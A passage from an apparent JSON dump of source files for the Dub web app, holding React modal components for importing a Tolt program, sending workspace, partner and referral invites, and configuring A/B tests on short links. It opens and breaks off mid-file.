() => void;\n}) {\n  const router = useRouter();\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { executeAsync, isPending } = useAction(startToltImportAction, {\n    onSuccess: () => {\n      onClose();\n      toast.success(\n        \"Successfully added program to import queue! We will send you an email when your program has been fully imported.\",\n      );\n      router.push(`/${slug}/program/partners`);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const onSubmit = async (e: React.FormEvent) => {\n    e.preventDefault();\n\n    if (!workspaceId) {\n      return;\n    }\n\n    await executeAsync({\n      workspaceId,\n      toltProgramId: toltProgram.id,\n    });\n  };\n\n  return (\n    <form onSubmit={onSubmit} className=\"flex flex-col space-y-6\">\n      <div>\n        <h4 className=\"mb-3 text-sm font-medium text-neutral-700\">\n          Program Information\n        </h4>\n        <dl className=\"grid grid-cols-2 gap-3 rounded-md border border-neutral-200 bg-white p-4 text-xs\">\n          <div>\n            <dt className=\"text-neutral-500\">Name</dt>\n            <dd className=\"font-medium text-neutral-700\">{toltProgram.name}</dd>\n          </div>\n          <div>\n            <dt className=\"text-neutral-500\">Subdomain</dt>\n            <dd className=\"font-medium text-neutral-700\">\n              {toltProgram.subdomain}\n            </dd>\n          </div>\n          <div>\n            <dt className=\"text-neutral-500\">Payout Term</dt>\n            <dd className=\"font-medium text-neutral-700\">\n              {toltProgram.payout_term} days\n            </dd>\n          </div>\n          <div>\n            <dt className=\"text-neutral-500\">Total Partners</dt>\n            <dd className=\"font-medium text-neutral-700\">\n              {toltProgram.affiliates?.toLocaleString() || \"0\"}\n            </dd>\n          </div>\n        </dl>\n      </div>\n\n      <Button\n        text=\"Import program\"\n        disabled={!toltProgram || toltProgram.affiliates === 0}\n        loading={isPending}\n        className=\"w-full justify-center\"\n      />\n    </form>\n  );\n}\n\nexport function useImportToltModal() {\n  const [showImportToltModal, setShowImportToltModal] = useState(false);\n\n  const ImportToltModalCallback = useCallback(() => {\n    return (\n      <ImportToltModal\n        showImportToltModal={showImportToltModal}\n        setShowImportToltModal={setShowImportToltModal}\n      />\n    );\n  }, [showImportToltModal, setShowImportToltModal]);\n\n  return useMemo(\n    () => ({\n      setShowImportToltModal,\n      ImportToltModal: ImportToltModalCallback,\n    }),\n    [setShowImportToltModal, ImportToltModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/invite-code-modal.tsx",
    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, CopyButton, Modal } from \"@dub/ui\";\nimport { APP_DOMAIN } from \"@dub/utils\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\n\nfunction InviteCodeModal({\n  showInviteCodeModal,\n  setShowInviteCodeModal,\n}: {\n  showInviteCodeModal: boolean;\n  setShowInviteCodeModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id, inviteCode, mutate } = useWorkspace();\n\n  const inviteLink = useMemo(() => {\n    return `${APP_DOMAIN}/invites/${inviteCode}`;\n  }, [inviteCode]);\n\n  const [resetting, setResetting] = useState(false);\n\n  return (\n    <Modal\n      showModal={showInviteCodeModal}\n      setShowModal={setShowInviteCodeModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Invite Link</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Allow other people to join your workspace through the link below.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-4 sm:px-6\">\n        <div className=\"flex items-center justify-between rounded-md border border-neutral-300 bg-white px-3 py-1.5\">\n          <p className=\"scrollbar-hide w-[88%] overflow-scroll font-mono text-xs text-neutral-500\">\n            {inviteLink}\n          </p>\n          <CopyButton value={inviteLink} className=\"rounded-md\" />\n        </div>\n        <Button\n          text=\"Reset invite link\"\n          variant=\"secondary\"\n          loading={resetting}\n          onClick={() => {\n            setResetting(true);\n            fetch(`/api/workspaces/${id}/invites/reset`, {\n              method: \"POST\",\n            }).then(async () => {\n              await mutate();\n              setResetting(false);\n            });\n          }}\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useInviteCodeModal() {\n  const [showInviteCodeModal, setShowInviteCodeModal] = useState(false);\n\n  const InviteCodeModalCallback = useCallback(() => {\n    return (\n      <InviteCodeModal\n        showInviteCodeModal={showInviteCodeModal}\n        setShowInviteCodeModal={setShowInviteCodeModal}\n      />\n    );\n  }, [showInviteCodeModal, setShowInviteCodeModal]);\n\n  return useMemo(\n    () => ({\n      setShowInviteCodeModal,\n      InviteCodeModal: InviteCodeModalCallback,\n    }),\n    [setShowInviteCodeModal, InviteCodeModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/invite-partner-user-modal.tsx",
    "content": "import { MAX_INVITES_PER_REQUEST } from \"@/lib/constants/partner-profile\";\nimport { mutatePrefix } from \"@/lib/swr/mutate\";\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { invitePartnerUserSchema } from \"@/lib/zod/schemas/partner-profile\";\nimport { Button, Modal, useMediaQuery, useRouterStuff } from \"@dub/ui\";\nimport { Trash } from \"@dub/ui/icons\";\nimport { capitalize, pluralize } from \"@dub/utils\";\nimport { Plus } from \"lucide-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useFieldArray, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype FormData = {\n  invites: z.infer<typeof invitePartnerUserSchema>[];\n};\n\nfunction InvitePartnerUserModal({\n  showInvitePartnerUserModal,\n  setShowInvitePartnerUserModal,\n}: {\n  showInvitePartnerUserModal: boolean;\n  setShowInvitePartnerUserModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { isMobile } = useMediaQuery();\n  const { partner } = usePartnerProfile();\n  const [isSubmitting, setIsSubmitting] = useState(false);\n  const { queryParams } = useRouterStuff();\n\n  const { control, register, handleSubmit } = useForm<FormData>({\n    defaultValues: {\n      invites: [{ email: \"\", role: \"member\" }],\n    },\n  });\n\n  const { fields, append, remove } = useFieldArray({\n    name: \"invites\",\n    control,\n  });\n\n  const onSubmit = async (data: FormData) => {\n    const invites = data.invites.filter(({ email }) => email.trim());\n    setIsSubmitting(true);\n\n    try {\n      if (invites.length === 0) {\n        throw new Error(\"Please enter at least one email address.\");\n      }\n\n      const response = await fetch(\"/api/partner-profile/invites\", {\n        method: \"POST\",\n        headers: { \"Content-Type\": \"application/json\" },\n        body: JSON.stringify(invites),\n      });\n\n      if (!response.ok) {\n        const { error } = await response.json();\n        throw new Error(error.message);\n      }\n\n      await mutatePrefix(\"/api/partner-profile/invites\");\n      queryParams({\n        set: {\n          status: \"invited\",\n        },\n      });\n      toast.success(\n        `${pluralize(\"Invitation\", invites.length)} sent successfully!`,\n      );\n      setShowInvitePartnerUserModal(false);\n    } catch (error) {\n      toast.error(error.message || \"Failed to send invitations.\");\n    } finally {\n      setIsSubmitting(false);\n    }\n  };\n\n  return (\n    <Modal\n      showModal={showInvitePartnerUserModal}\n      setShowModal={setShowInvitePartnerUserModal}\n      className=\"max-w-md\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Invite Teammates</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Invite members to join your{\" \"}\n          <span className=\"font-semibold text-black\">{partner?.name}</span>{\" \"}\n          partner team. Invitations will be valid for 14 days.\n        </p>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(onSubmit)}\n        className=\"flex flex-col gap-6 bg-neutral-50 px-4 py-4 sm:px-6\"\n      >\n        <div className=\"flex flex-col gap-2\">\n          <span className=\"text-sm font-medium text-neutral-700\">\n            {pluralize(\"Email\", fields.length)}\n          </span>\n\n          {fields.map((field, index) => (\n            <div key={field.id} className=\"flex items-end gap-2\">\n              <div className=\"flex-1\">\n                <div className=\"flex rounded-md shadow-sm\">\n                  <input\n                    type=\"email\"\n                    placeholder=\"panic@thedis.co\"\n                    autoFocus={index === 0 && !isMobile}\n                    autoComplete=\"off\"\n                    className=\"flex-1 rounded-l-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n                    {...register(`invites.${index}.email`, {\n                      required: index === 0,\n                    })}\n                  />\n                  <select\n                    {...register(`invites.${index}.role`, {\n                      required: index === 0,\n                    })}\n                    defaultValue=\"member\"\n                    className=\"rounded-r-md border border-l-0 border-neutral-300 bg-white pl-4 pr-8 text-neutral-600 focus:border-neutral-300 focus:outline-none focus:ring-0 sm:text-sm\"\n                  >\n                    {[\"owner\", \"member\"].map((role) => (\n                      <option key={role} value={role}>\n                        {capitalize(role)}\n                      </option>\n                    ))}\n                  </select>\n                </div>\n              </div>\n              {index > 0 && (\n                <Button\n                  type=\"button\"\n                  variant=\"outline\"\n                  icon={<Trash className=\"size-4\" />}\n                  className=\"h-10 w-10 shrink-0 p-0\"\n                  onClick={() => remove(index)}\n                />\n              )}\n            </div>\n          ))}\n\n          <Button\n            type=\"button\"\n            className=\"h-9 w-fit\"\n            variant=\"secondary\"\n            icon={<Plus className=\"size-4\" />}\n            text=\"Add email\"\n            onClick={() => append({ email: \"\", role: \"member\" })}\n            disabled={fields.length >= MAX_INVITES_PER_REQUEST}\n          />\n        </div>\n\n        <Button\n          type=\"submit\"\n          loading={isSubmitting}\n          text={`Send ${pluralize(\"invite\", fields.length)}`}\n        />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useInvitePartnerUserModal() {\n  const [showInvitePartnerUserModal, setShowInvitePartnerUserModal] =\n    useState(false);\n\n  const InvitePartnerUserModalCallback = useCallback(() => {\n    return (\n      <InvitePartnerUserModal\n        showInvitePartnerUserModal={showInvitePartnerUserModal}\n        setShowInvitePartnerUserModal={setShowInvitePartnerUserModal}\n      />\n    );\n  }, [showInvitePartnerUserModal, setShowInvitePartnerUserModal]);\n\n  return useMemo(\n    () => ({\n      setShowInvitePartnerUserModal,\n      InvitePartnerUserModal: InvitePartnerUserModalCallback,\n    }),\n    [setShowInvitePartnerUserModal, InvitePartnerUserModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/invite-referral-modal.tsx",
    "content": "\"use client\";\n\nimport { sendInviteReferralEmail } from \"@/lib/actions/send-invite-referral-email\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button, Logo, Modal, useMediaQuery } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction InviteReferralModal({\n  showInviteReferralModal,\n  setShowInviteReferralModal,\n}: {\n  showInviteReferralModal: boolean;\n  setShowInviteReferralModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const [email, setEmail] = useState(\"\");\n  const { id: workspaceId } = useWorkspace();\n  const { isMobile } = useMediaQuery();\n\n  const { execute, isPending } = useAction(sendInviteReferralEmail, {\n    onSuccess: () => {\n      toast.success(\"Invitation sent.\");\n      setShowInviteReferralModal(false);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  return (\n    <Modal\n      showModal={showInviteReferralModal}\n      setShowModal={setShowInviteReferralModal}\n    >\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-4 pt-8 sm:px-16\">\n        <Logo />\n        <h3 className=\"text-lg font-medium\">Invite via Email</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Invite a friend or colleague to use Dub with your referral link.\n        </p>\n      </div>\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n          execute({ email, workspaceId: workspaceId! });\n        }}\n        className=\"flex flex-col space-y-4 bg-neutral-50 px-4 py-8 text-left sm:px-16\"\n      >\n        <div>\n          <label htmlFor=\"email\" className=\"block text-sm text-neutral-700\">\n            Email\n          </label>\n          <div className=\"relative mt-1 rounded-md shadow-sm\">\n            <input\n              type=\"email\"\n              name=\"email\"\n              id=\"email\"\n              placeholder=\"panic@thedis.co\"\n              autoFocus={!isMobile}\n              autoComplete=\"off\"\n              required\n              value={email}\n              onChange={(e) => setEmail(e.target.value)}\n              className=\"block w-full rounded-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\"\n            />\n          </div>\n          <p className=\"mt-2 text-xs text-neutral-500\">\n            Your name and email address will be shared in this invitation.\n          </p>\n        </div>\n        <Button loading={isPending} text=\"Send invite\" />\n      </form>\n    </Modal>\n  );\n}\n\nexport function useInviteReferralModal() {\n  const [showInviteReferralModal, setShowInviteReferralModal] = useState(false);\n\n  const InviteReferralModalCallback = useCallback(() => {\n    return (\n      <InviteReferralModal\n        showInviteReferralModal={showInviteReferralModal}\n        setShowInviteReferralModal={setShowInviteReferralModal}\n      />\n    );\n  }, [showInviteReferralModal, setShowInviteReferralModal]);\n\n  return useMemo(\n    () => ({\n      setShowInviteReferralModal,\n      InviteReferralModal: InviteReferralModalCallback,\n    }),\n    [setShowInviteReferralModal, InviteReferralModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/invite-workspace-user-modal.tsx",
    "content": "import { Modal } from \"@dub/ui\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { InviteTeammatesForm } from \"../workspaces/invite-teammates-form\";\n\nfunction InviteWorkspaceUserModal({\n  showInviteWorkspaceUserModal,\n  setShowInviteWorkspaceUserModal,\n  showSavedInvites,\n}: {\n  showInviteWorkspaceUserModal: boolean;\n  setShowInviteWorkspaceUserModal: Dispatch<SetStateAction<boolean>>;\n  showSavedInvites: boolean;\n}) {\n  return (\n    <Modal\n      showModal={showInviteWorkspaceUserModal}\n      setShowModal={setShowInviteWorkspaceUserModal}\n      className=\"max-h-[95dvh]\"\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 px-4 py-4 sm:px-6\">\n        <h3 className=\"text-lg font-medium\">Invite Teammates</h3>\n        <p className=\"text-sm text-neutral-500\">\n          Invite teammates with{\" \"}\n          <a\n            href=\"https://dub.co/help/article/workspace-roles\"\n            target=\"_blank\"\n            className=\"underline hover:text-neutral-900\"\n          >\n            different roles and permissions\n          </a>\n          . Invitations will be valid for 14 days.\n        </p>\n      </div>\n      <InviteTeammatesForm\n        onSuccess={() => setShowInviteWorkspaceUserModal(false)}\n        className=\"bg-neutral-50 px-4 py-4 sm:px-6\"\n      />\n    </Modal>\n  );\n}\n\nexport function useInviteWorkspaceUserModal({\n  showSavedInvites = false,\n}: {\n  showSavedInvites?: boolean;\n} = {}) {\n  const [showInviteWorkspaceUserModal, setShowInviteWorkspaceUserModal] =\n    useState(false);\n\n  const InviteWorkspaceUserModalCallback = useCallback(() => {\n    return (\n      <InviteWorkspaceUserModal\n        showInviteWorkspaceUserModal={showInviteWorkspaceUserModal}\n        setShowInviteWorkspaceUserModal={setShowInviteWorkspaceUserModal}\n        showSavedInvites={showSavedInvites}\n      />\n    );\n  }, [\n    showInviteWorkspaceUserModal,\n    setShowInviteWorkspaceUserModal,\n    showSavedInvites,\n  ]);\n\n  return useMemo(\n    () => ({\n      setShowInviteWorkspaceUserModal,\n      InviteWorkspaceUserModal: InviteWorkspaceUserModalCallback,\n    }),\n    [setShowInviteWorkspaceUserModal, InviteWorkspaceUserModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/link-builder/ab-testing/ab-testing-modal.tsx",
    "content": "import {\n  ABTestVariantsSchema,\n  MAX_TEST_COUNT,\n  MIN_TEST_PERCENTAGE,\n} from \"@/lib/zod/schemas/links\";\nimport { LinkFormData } from \"@/ui/links/link-builder/link-builder-provider\";\nimport { useAvailableDomains } from \"@/ui/links/use-available-domains\";\nimport { useEndABTestingModal } from \"@/ui/modals/link-builder/ab-testing/end-ab-testing-modal\";\nimport { BusinessBadgeTooltip } from \"@/ui/shared/business-badge-tooltip\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  CircleCheck,\n  Flask,\n  InfoTooltip,\n  Modal,\n  Tooltip,\n  TriangleWarning,\n  useKeyboardShortcut,\n} from \"@dub/ui\";\nimport {\n  cn,\n  formatDateTime,\n  getDateTimeLocal,\n  isValidUrl,\n  parseDateTime,\n} from \"@dub/utils\";\nimport { differenceInDays } from \"date-fns\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useId,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { useForm, useFormContext } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { TrafficSplitSlider } from \"./traffic-split-slider\";\n\nconst parseTests = (testVariants: LinkFormData[\"testVariants\"]) =>\n  Array.isArray(testVariants) ? ABTestVariantsSchema.parse(testVariants) : null;\n\nconst inTwoWeeks = new Date(Date.now() + 2 * 7 * 24 * 60 * 60 * 1000);\n\nfunction ABTestingModal({\n  showABTestingModal,\n  setShowABTestingModal,\n}: {\n  showABTestingModal: boolean;\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  return (\n    <Modal\n      showModal={showABTestingModal}\n      setShowModal={setShowABTestingModal}\n      className=\"sm:max-w-md\"\n    >\n      <ABTestingModalInner setShowABTestingModal={setShowABTestingModal} />\n    </Modal>\n  );\n}\n\nfunction ABTestingModalInner({\n  setShowABTestingModal,\n}: {\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { watch: watchParent } = useFormContext<LinkFormData>();\n\n  const [testVariants, testCompletedAt] = watchParent([\n    \"testVariants\",\n    \"testCompletedAt\",\n  ]);\n\n  return testVariants &&\n    testCompletedAt &&\n    new Date(testCompletedAt) < new Date() ? (\n    <ABTestingComplete setShowABTestingModal={setShowABTestingModal} />\n  ) : (\n    <ABTestingEdit setShowABTestingModal={setShowABTestingModal} />\n  );\n}\n\nfunction ABTestingEdit({\n  setShowABTestingModal,\n}: {\n  setShowABTestingModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const id = useId();\n  const inputRef = useRef<HTMLInputElement>(null);\n\n  const {\n    watch: watchParent,\n    getValues: getValuesParent,\n    setValue: setValueParent,\n  } = useFormContext<LinkFormData>();\n\n  const domain = watchParent(\"domain\");\n  const { domains } = useAvailableDomains({\n    currentDomain: domain,\n  });\n\n  const { EndABTestingModal, setShowEndABTestingModal } = useEndABTestingModal({\n    onEndTest: () => setShowABTestingModal(false),\n  });\n\n  const {\n    watch,\n    register,\n    setValue,\n    getValues,\n    reset,\n    formState: { isDirty, isValid },\n    handleSubmit,\n  } = useForm<\n    { testVariants: z.infer<typeof ABTestVariantsSchema> } & Pick<\n      LinkFormData,\n      \"testCompletedAt\"\n    >\n  >({\n    mode: \"onChange\",\n    values: {\n      testVariants: parseTests(getValuesParent(\"testVariants\")) ?? [\n        { url: getValuesParent(\"url\") || \"\", percentage: 100 },\n      ],\n      testCompletedAt:\n        (getValuesParent(\"testCompletedAt\") as Date | null) ?? inTwoWeeks,\n    },\n  });\n\n  const testVariants = watch(\"testVariants\") || [];\n  const testCompletedAt = watch(\"testCompletedAt\");\n  const [idParent, testVariantsParent, testStartedAtParent] = watchParent([\n    \"id\",\n    \"testVariants\",\n    \"testStartedAt\",\n  ]);\n\n  const addTestUrl = () => {\n    if (!testVariants.length || testVariants.length >= MAX_TEST_COUNT) return;\n\n    const allEqual = testVariants.every(\n      ({ percentage }) =>\n        Math.abs(percentage - testVariants[0].percentage) <= 1,\n    );\n\n    if (allEqual) {\n      // All percentages are equal so let's keep it that way\n      const each = Math.floor(100 / (testVariants.length + 1));\n      setValue(\n        \"testVariants\",\n        [\n          ...testVariants.map((t) => ({ ...t, percentage: each })),\n          { url: \"\", percentage: 100 - each * testVariants.length },\n        ],\n        { shouldDirty: true },\n      );\n    } else {\n      // Not all percentages are equal so let's split the latest one we can\n      const toSplitIndex = testVariants.findLastIndex(\n        ({ percentage }) => percentage >= MIN_TEST_PERCENTAGE * 2,\n      );\n      const toSplit = testVariants[toSplitIndex];\n      const toSplitPercentage = Math.floor(toSplit.percentage / 2);\n      const remainingPercentage = toSplit.percentage - toSplitPercentage;\n\n      setValue(\n        \"testVariants\",\n        [\n          ...testVariants.map((test, idx) => ({\n            ...test,\n            percentage:\n              idx === toSplitIndex ? toSplitPercentage : test.percentage,\n          })),\n          { url: \"\", percentage: remainingPercentage },\n        ],\n        {\n          shouldDirty: true,\n        },\n      );\n    }\n  };\n\n  const removeTestUrl = (index: number) => {\n    if (testVariants.length < 2) return;\n\n    const allEqual = testVariants.every(\n      ({ percentage }) =>\n        Math.abs(percentage - testVariants[0].percentage) <= 1,\n    );\n\n    if (allEqual) {\n      // All percentages are equal so let's keep it that way\n      const each = Math.floor(100 / (testVariants.length - 1));\n      const remainder = 100 - each * (testVariants.length - 2);\n\n      setValue(\n        \"testVariants\",\n        testVariants\n          ?.filter((_, i) => i !== index)\n          .map((test, idx, arr) => ({\n            ...test,\n            percentage: idx === arr.length - 1 ? remainder : each,\n          })) ?? null,\n        {\n          shouldDirty: true,\n        },\n      );\n    } else {\n      // Not all percentages are equal so let's give the last one the remainder\n      const remainder = testVariants[index].percentage;\n\n      setValue(\n        \"testVariants\",\n        testVariants\n          ?.filter((_, i) => i !== index)\n          .map((test, idx, arr) => ({\n            ...test,\n            percentage:\n              idx === arr.length - 1\n                ? test.percentage + remainder\n                : test.percentage,\n          })) ?? null,\n        {\n          shouldDirty: true,\n        },\n      );\n    }\n  };\n\n  return (\n    <>\n      <EndABTestingModal />\n      <form\n        className=\"px-5 py-4\"\n        onSubmit={(e) => {\n          e.stopPropagation();\n          handleSubmit((data) => {\n            const currentTests = data.testVariants;\n\n            if (!currentTests || currentTests.length <= 1) {\n              setValueParent(\"testVariants\", null, { shouldDirty: true });\n              setValueParent(\"testCompletedAt\", null, {\n                shouldDirty: true,\n              });\n\n              return;\n            }\n\n            // Validate total percentage equals 100\n            const totalPercentage = currentTests.reduce(\n              (sum, test) => sum + test.percentage,\n              0,\n            );\n\n            if (totalPercentage !== 100) {\n              toast.error(\"Total percentage must equal 100%\");\n              return;\n            }\n\n            // Validate all URLs are filled\n            if (currentTests.some((test) => !test.url)) {\n              toast.error(\"All test URLs must be filled\");\n              return;\n            }\n\n            setValueParent(\"url\", currentTests[0].url, { shouldDirty: true });\n            setValueParent(\"trackConversion\", true);\n            setValueParent(\"testVariants\", currentTests, { shouldDirty: true });\n            setValueParent(\"testCompletedAt\", data.testCompletedAt, {\n              shouldDirty: true,\n            });\n            if (!testStartedAtParent)\n              setValueParent(\"testStartedAt\", new Date(), {\n                shouldDirty: true,\n              });\n\n            setShowABTestingModal(false);\n          })(e);\n        }}\n      >\n        <div className=\"flex items-center justify-between\">\n          <div className=\"flex items-center gap-2\">\n            <h3 className=\"text-lg font-medium\">A/B Testing</h3>\n            <BusinessBadgeTooltip content=\"Test different URLs against each other to optimize your conversion rates. [Learn more.](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"max-md:hidden\">\n            <Tooltip\n              content={\n                <div className=\"px-2 py-1 text-xs text-neutral-700\">\n                  Press{\" \"}\n                  <strong className=\"font-medium text-neutral-950\">A</strong> to\n                  open this quickly\n                </div>\n              }\n              side=\"right\"\n            >\n              <kbd className=\"flex size-6 cursor-default items-center justify-center rounded-md border border-neutral-200 font-sans text-xs text-neutral-950\">\n                A\n              </kbd>\n            </Tooltip>\n          </div>\n        </div>\n\n        {/* Testing URLs */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label className=\"block text-sm font-medium text-neutral-700\">\n              Testing URLs\n            </label>\n            <InfoTooltip content=\"Add up to 3 additional destination URLs to test for this short link. [Learn more](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"mt-2\">\n            <AnimatedSizeContainer\n              height\n              transition={{ ease: \"easeInOut\", duration: 0.2 }}\n              className=\"-m-1\"\n            >\n              <div className=\"flex flex-col gap-2 p-1\">\n                {testVariants.map((_, index) => (\n                  <div key={index} className=\"flex items-center gap-2\">\n                    <label className=\"relative block flex grow items-center overflow-hidden rounded-md border border-neutral-300 focus-within:border-neutral-500 focus-within:ring-1 focus-within:ring-neutral-500\">\n                      <span className=\"flex h-9 w-8 items-center justify-center border-r border-neutral-300 text-center text-sm font-medium text-neutral-800\">\n                        {index + 1}\n                      </span>\n                      <input\n                        type=\"url\"\n                        placeholder={\n                          domains?.find(({ slug }) => slug === domain)\n                            ?.placeholder ||\n                          \"https://dub.co/help/article/dub-links\"\n                        }\n                        className=\"block h-9 grow border-none px-2 text-neutral-900 placeholder-neutral-400 focus:ring-0 sm:text-sm\"\n                        {...register(`testVariants.${index}.url`, {\n                          validate: (value, { testVariants }) => {\n                            if (!value) return \"URL is required\";\n\n                            if (!isValidUrl(value)) return \"Invalid URL\";\n\n                            return (\n                              testVariants.length > 1 &&\n                              testVariants.length <= MAX_TEST_COUNT\n                            );\n                          },\n                        })}\n                      />\n                      {index > 0 && (\n                        <Button\n                          onClick={() => removeTestUrl(index)}\n                          variant=\"outline\"\n                          className=\"mr-1 size-7 p-0\"\n                          text={\n                            <>\n                              <span className=\"sr-only\">Remove</span>\n                              <X className=\"size-4\" />\n                            </>\n                          }\n                        />\n                      )}\n                    </label>\n                  </div>\n                ))}\n              </div>\n            </AnimatedSizeContainer>\n\n            <Button\n              type=\"button\"\n              variant=\"primary\"\n              className=\"mt-2 h-8\"\n              onClick={addTestUrl}\n              disabledTooltip={\n                testVariants.length >= MAX_TEST_COUNT\n                  ? `You may only add up to ${MAX_TEST_COUNT} URLs for an A/B test`\n                  : undefined\n              }\n              text=\"Add URL\"\n            />\n          </div>\n        </div>\n\n        {/* Traffic split */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label className=\"block text-sm font-medium text-neutral-700\">\n              Traffic split\n            </label>\n            <InfoTooltip\n              content={`Adjust the percentage of traffic to each URL. The minimum is ${MIN_TEST_PERCENTAGE}%`}\n            />\n          </div>\n          <div className=\"mt-4\">\n            <TrafficSplitSlider\n              testVariants={testVariants}\n              onChange={(percentages) => {\n                percentages.forEach((percentage, index) => {\n                  setValue(`testVariants.${index}.percentage`, percentage, {\n                    shouldDirty: true,\n                  });\n                });\n              }}\n            />\n          </div>\n        </div>\n\n        {/* Completion Date */}\n        <div className=\"mt-6\">\n          <div className=\"flex items-center gap-2\">\n            <label\n              htmlFor={`${id}-testCompletedAt`}\n              className=\"block text-sm font-medium text-neutral-700\"\n            >\n              Completion Date\n            </label>\n            <InfoTooltip content=\"Set when the A/B test should complete. After this date, all traffic will go to the best performing URL. [Learn more.](https://dub.co/help/article/ab-testing)\" />\n          </div>\n          <div className=\"mt-2 flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white shadow-sm transition-all focus-within:border-neutral-800 focus-within:outline-none focus-within:ring-1 focus-within:ring-neutral-500\">\n            <input\n              ref={inputRef}\n              id={`${id}-testCompletedAt`}\n              type=\"text\"\n              placeholder='E.g. \"in 2 weeks\" or \"next month\"'\n              defaultValue={\n                getValues(\"testCompletedAt\")\n                  ? formatDateTime(getValues(\"testCompletedAt\") as Date)\n                  : \"\"\n              }\n              onBlur={(e) => {\n                if (e.target.value.length > 0) {\n                  const parsedDateTime = parseDateTime(e.target.value);\n                  if (parsedDateTime) {\n                    setValue(\"testCompletedAt\", parsedDateTime, {\n                      shouldDirty: true,\n                    });\n                    e.target.value = formatDateTime(parsedDateTime);\n                  }\n                }\n              }}\n              className=\"flex-1 border-none bg-transparent text-neutral-900 placeholder-neutral-400 focus:outline-none focus:ring-0 sm:text-sm\"\n            />\n            <input\n              type=\"datetime-local\"\n              value={\n                getValues(\"testCompletedAt\")\n                  ? getDateTimeLocal(getValues(\"testCompletedAt\") as Date)\n                  : \"\"\n              }\n              onChange={(e) => {\n                const completeDate = new Date(e.target.value);\n                setValue(\"testCompletedAt\", completeDate, {\n                  shouldDirty: true,\n                });\n                if (inputRef.current) {\n                  inputRef.current.value = formatDateTime(completeDate);\n                }\n              }}\n              className=\"w-[40px] border-none bg-transparent text-neutral-500 focus:outline-none focus:ring-0 sm:text-sm\"\n            />\n          </div>\n          <p className=\"mt-1 text-xs text-neutral-500\">6 weeks maximum</p>\n        </div>\n\n        {testVariantsParent && (\n          <div className=\"mt-6 flex items-start gap-2 rounded-lg border border-amber-200 bg-amber-50 p-4\">\n            <TriangleWarning className=\"mt-0.5 size-4 shrink-0 text-amber-500\" />\n            <p className=\"text-sm font-medium text-amber-900\">\n              Changing the original A/B test settings will impact your future\n              analytics and event tracking.\n            </p>\n          </div>\n        )}\n\n        <div className=\"mt-4 flex items-center justify-between\">\n          <div>\n            {Boolean(testVariantsParent) && (\n              <button\n                type=\"button\"\n                className=\"text-xs font-medium text-neutral-700 transition-colors hover:text-neutral-950\"\n                onClick={() => {\n                  if (idParent) {\n                    setShowEndABTestingModal(true);\n                  } else {\n                    ([\"testVariants\", \"testCompletedAt\"] as const).forEach(\n                      (key) => setValueParent(key, null, { shouldDirty: true }),\n                    );\n                    setShowABTestingModal(false);\n                  }\n                }}\n              >\n                {idParent ? \"End\" : \"Remove\"} A/B test\n              </button>\n            )}\n          </div>\n          <div className=\"flex items-center gap-2\">\n            <Button\n              type=\"button\"\n              variant=\"secondary\"\n              text=\"Cancel\"\n              className=\"h-9 w-fit\"\n              onClick={() => {\n                reset();\n                setShowABTestingModal(false);\n              }}\n            />\n            